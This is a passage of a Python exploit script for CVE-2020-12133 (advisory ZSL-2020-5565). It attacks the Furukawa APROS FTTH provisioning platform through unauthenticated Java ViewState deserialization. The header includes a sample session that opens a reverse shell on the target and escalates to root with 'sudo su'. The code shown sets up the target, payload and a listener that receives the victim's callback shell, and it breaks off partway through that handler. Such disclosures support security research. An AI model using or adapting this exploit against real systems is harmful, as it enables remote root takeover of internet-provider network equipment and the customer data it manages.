Complete administration of # your entire external FTTH network plant, including from the ONUs # installed in each end customer, to the wiring and junction boxes. # Unify all the management of your FTTH network on a single platform. # Unify all your data, whether from customers, your network, or the # external plant in one place. APROS FTTH allows you to manage your # entire FTTH network in a simple and globalized way with just one # click, without being a network expert. Includes services such as: # bandwidth limitation, Turbo Internet for time plans, BURST Internet, # QinQ for companies, and many more. General consumption graphics and # per customer in real time. Captive Portal for cutting or suspension # of the service. # # Desc: The FTTH provisioning solution suffers from an unauthenticated # remote code execution vulnerability due to an unsafe deserialization # of Java objects (ViewState) triggered via the 'javax.faces.ViewState' # HTTP POST parameter. The deserialization can cause the vulnerable JSF # web application to execute arbitrary Java functions, malicious Java # bytecode, and system shell commands with root privileges. # # =================================================================== # $ ./furukawa.py 172.16.0.1:8080 172.168.0.200 4444 # [*] Setting up valid URL path # [*] Starting callback listener child thread # [*] Starting handler on port 4444 # [*] Sending serialized object # [*] Connection from 172.16.0.1:48446 # [*] You got shell! # tomcat7@zslab:/var/lib/tomcat7$ id # uid=114(tomcat7) gid=124(tomcat7) grupos=124(tomcat7),1003(furukawa) # tomcat7@zslab:/var/lib/tomcat7$ sudo su # id # uid=0(root) gid=0(root) grupos=0(root) # exit # tomcat7@zslab:/var/lib/tomcat7$ exit # *** Connection closed by remote host *** # =================================================================== # # Tested on: Apache Tomcat/7.0.68 # Apache Tomcat/7.0.52 # Apache MyFaces/2.2.1 # Apache MyFaces/2.1.17 # Apache MyFaces/2.0.10 # GNU/Linux 4.4.0-173 # GNU/Linux 4.4.0-137 # GNU/Linux 4.4.0-101 # GNU/Linux 4.4.0-83 # GNU/Linux 3.15.0 # GNU/Linux 3.13.0-32 # PrimeFaces/4.0.RC1 # Apache-Coyote/1.1 # ACC Library 3.1 # Ubuntu 16.04.2 # Ubuntu 14.04.2 # Java/1.8.0_242 # Java/1.8.0_181 # Java/1.8.0_131 # Java/1.7.0_79 # MySQL 5.7.29 # MySQL 5.7.18 # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # Macedonian Information Security Research and Development Laboratory # Zero Science Lab - https://www.zeroscience.mk - @zeroscience # # # Advisory ID: ZSL-2020-5565 # Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5565.php # # CVE ID: CVE-2020-12133 # CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2020-12133 # # # 24.02.2020 # import os############# import sys############ import gzip#######o### import zlib########### import socket######### import base64######### import urllib######### import requests####### import telnetlib###### import threading###### import subprocess##### from io import BytesIO from time import sleep from flash import blic class Optics: def __init__(self): self.callback = None# self.headers = None## self.payload = None## self.target = None### self.lport = None#### self.path = None##### self.cmd = None###### def allears(self): telnetus = telnetlib.Telnet() print("[*] Starting handler on port {}".format(self.lport)) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(("0.0.0.0", self.lport)) while True: try: s.settimeout(8) s.listen(1) conn, addr = s.accept() print("[*] Connection from {}:{}".format(addr[0], addr[1])) telnetus.sock = conn except socket.timeout as p: print("[!] Probably not vulnerable...
